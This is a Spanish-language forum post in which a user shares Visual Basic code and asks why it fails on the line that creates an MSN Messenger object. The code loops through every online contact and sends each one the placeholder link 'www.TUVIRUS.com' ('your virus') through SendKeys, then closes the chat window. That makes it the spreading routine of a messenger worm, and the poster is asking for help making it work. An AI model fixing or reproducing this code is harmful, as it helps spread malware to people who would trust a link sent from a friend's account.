Autor
Hola A todos
Bueno navegando por el foro encontre este tema
(No revivi ese Tema Porq Era antiguo)
lo cual vi un code lo cual lo pruebo y siempre me manda error
Código:
Public WithEvents msn As MessengerAPI.Messenger
Private Sub Form_Load()
Set MsgrUIA = New MessengerAPI.Messenger
For Each user In MsgrUIA.MyContacts
If user.Status = MISTATUS_ONLINE Or user.Status = MISTATUS_AWAY Or user.Status = MISTATUS_BE_RIGHT_BACK Or user.Status = MISTATUS_BUSY Or user.Status = MISTATUS_IDLE Or user.Status = MISTATUS_ON_THE_PHONE Or user.Status = MISTATUS_OUT_TO_LUNCH Then
Set venta = MsgrUIA.InstantMessage(user)
SendKeys "www.TUVIRUS.com" 'url
SendKeys "{ENTER}"
SendKeys "%Z"
End If
Next
Set MsgrUIA = Nothing
End Sub
lo cual siempre me manda este error
Código:
Set MsgrUIA = New MessengerAPI.Messenger
tengo activado en reference
Código:
Messenger API Type Library
Messenger Private Type Library
Messenger Type Library
Pero Siempre me manda el mismo error
Bueno Espero Alguna Respuesta
TAlves tenga que arreglar el Code o HAcer otra Cosa =)
PD: Lo POsteo en esta Zona POrque El S.Code es en el lenguaje vB
Salu2[/b]
En línea
